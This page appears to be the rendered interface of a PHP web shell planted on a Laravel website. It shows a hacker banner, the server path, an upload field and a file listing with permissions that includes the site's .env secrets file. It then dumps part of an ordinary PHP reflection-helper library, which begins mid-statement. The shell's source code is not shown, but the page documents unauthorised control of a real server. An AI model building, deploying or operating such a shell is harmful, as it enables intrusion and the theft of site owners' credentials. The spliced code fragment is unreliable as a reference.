I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
getType();
return $type instanceof \ReflectionNamedType && $type->getName();
}
/**
* Compute the string representation for the paramater type.
*
* @param \ReflectionParameter $param
* @param bool $withoutNullable
*
* @return string|null
*/
public static function getTypeHint(\ReflectionParameter $param, $withoutNullable = false)
{
if (!$param->hasType()) {
return null;
}
$type = $param->getType();
$declaringClass = $param->getDeclaringClass();
$typeHint = self::getTypeFromReflectionType($type, $declaringClass);
return (!$withoutNullable && $type->allowsNull()) ? self::formatNullableType($typeHint) : $typeHint;
}
/**
* Compute the string representation for the return type.
*
* @param \ReflectionParameter $param
* @param bool $withoutNullable
*
* @return string|null
*/
public static function getReturnType(\ReflectionMethod $method, $withoutNullable = false)
{
$type = $method->getReturnType();
if (!$type instanceof ReflectionType && method_exists($method, 'getTentativeReturnType')) {
$type = $method->getTentativeReturnType();
}
if (!$type instanceof ReflectionType) {
return null;
}
$typeHint = self::getTypeFromReflectionType($type, $method->getDeclaringClass());
return (!$withoutNullable && $type->allowsNull()) ? self::formatNullableType($typeHint) : $typeHint;
}
/**
* Compute the string representation for the simplest return type.
*
* @param \ReflectionParameter $param
*
* @return string|null
*/
public static function getSimplestReturnType(\ReflectionMethod $method)
{
$type = $method->getReturnType();
if (!$type instanceof ReflectionType && method_exists($method, 'getTentativeReturnType')) {
$type = $method->getTentativeReturnType();
}
if (!$type instanceof ReflectionType || $type->allowsNull()) {
return null;
}
$typeInformation = self::getTypeInformation($type, $method->getDeclaringClass());
// return the first primitive type hint
foreach ($typeInformation as $info) {
if ($info['isPrimitive']) {
return $info['typeHint'];
}
}
// if no primitive type, return the first type
foreach ($typeInformation as $info) {
return $info['typeHint'];
}
return null;
}
/**
* Get the string representation of the given type.
*
* @param \ReflectionType $type
* @param \ReflectionClass $declaringClass
*
* @return list
*/
private static function getTypeInformation(\ReflectionType $type, \ReflectionClass $declaringClass)
{
// PHP 8 union types and PHP 8.1 intersection types can be recursively processed
if ($type instanceof \ReflectionUnionType || $type instanceof \ReflectionIntersectionType) {
$types = [];
foreach ($type->getTypes() as $innterType) {
foreach (self::getTypeInformation($innterType, $declaringClass) as $info) {
if ($info['typeHint'] === 'null' && $info['isPrimitive']) {
continue;
}
$types[] = $info;
}
}
return $types;
}
// $type must be an instance of \ReflectionNamedType
$typeHint = $type->getName();
// builtins can be returned as is
if ($type->isBuiltin()) {
return [
[
'typeHint' => $typeHint,
'isPrimitive' => in_array($typeHint, ['array', 'bool', 'int', 'float', 'null', 'object', 'string']),
],
];
}
// 'static' can be returned as is
if ($typeHint === 'static') {
return [
[
'typeHint' => $typeHint,
'isPrimitive' => false,
],
];
}
// 'self' needs to be resolved to the name of the declaring class
if ($typeHint === 'self') {
$typeHint = $declaringClass->getName();
}
// 'parent' needs to be resolved to the name of the parent class
if ($typeHint === 'parent') {
$typeHint = $declaringClass->getParentClass()->getName();
}
// class names need prefixing with a slash
return [
[
'typeHint' => sprintf('\\%s', $typeHint),
'isPrimitive' => false,
],
];
}
/**
* Format the given type as a nullable type.
*
* @param string $typeHint
*
* @return string
*/
private static function formatNullableType($typeHint)
{
if ($typeHint === 'mixed') {
return $typeHint;
}
if (strpos($typeHint, 'null') !== false) {
return $typeHint;
}
if (\PHP_VERSION_ID < 80000) {
return sprintf('?%s', $typeHint);
}
return sprintf('%s|null', $typeHint);
}
private static function getTypeFromReflectionType(\ReflectionType $type, \ReflectionClass $declaringClass): string
{
if ($type instanceof \ReflectionNamedType) {
$typeHint = $type->getName();
if ($type->isBuiltin()) {
return $typeHint;
}
if ($typeHint === 'static') {
return $typeHint;
}
// 'self' needs to be resolved to the name of the declaring class
if ($typeHint === 'self'){
$typeHint = $declaringClass->getName();
}
// 'parent' needs to be resolved to the name of the parent class
if ($typeHint === 'parent'){
$typeHint = $declaringClass->getParentClass()->getName();
}
// class names need prefixing with a slash
return sprintf('\\%s', $typeHint);
}
if ($type instanceof \ReflectionIntersectionType) {
$types = array_map(
static function (\ReflectionType $type) use ($declaringClass): string {
return self::getTypeFromReflectionType($type, $declaringClass);
},
$type->getTypes()
);
return implode(
'&',
$types,
);
}
if ($type instanceof \ReflectionUnionType) {
$types = array_map(
static function (\ReflectionType $type) use ($declaringClass): string {
return self::getTypeFromReflectionType($type, $declaringClass);
},
$type->getTypes()
);
$intersect = array_intersect(self::TRAVERSABLE_ARRAY, $types);
if (self::TRAVERSABLE_ARRAY === $intersect) {
$types = array_merge(self::ITERABLE, array_diff($types, self::TRAVERSABLE_ARRAY));
}
return implode(
'|',
array_map(
static function (string $type): string
{
return strpos($type, '&') === false ? $type : sprintf('(%s)', $type);
},
$types
)
);
}
throw new \InvalidArgumentException('Unknown ReflectionType: ' . get_debug_type($type));
}
}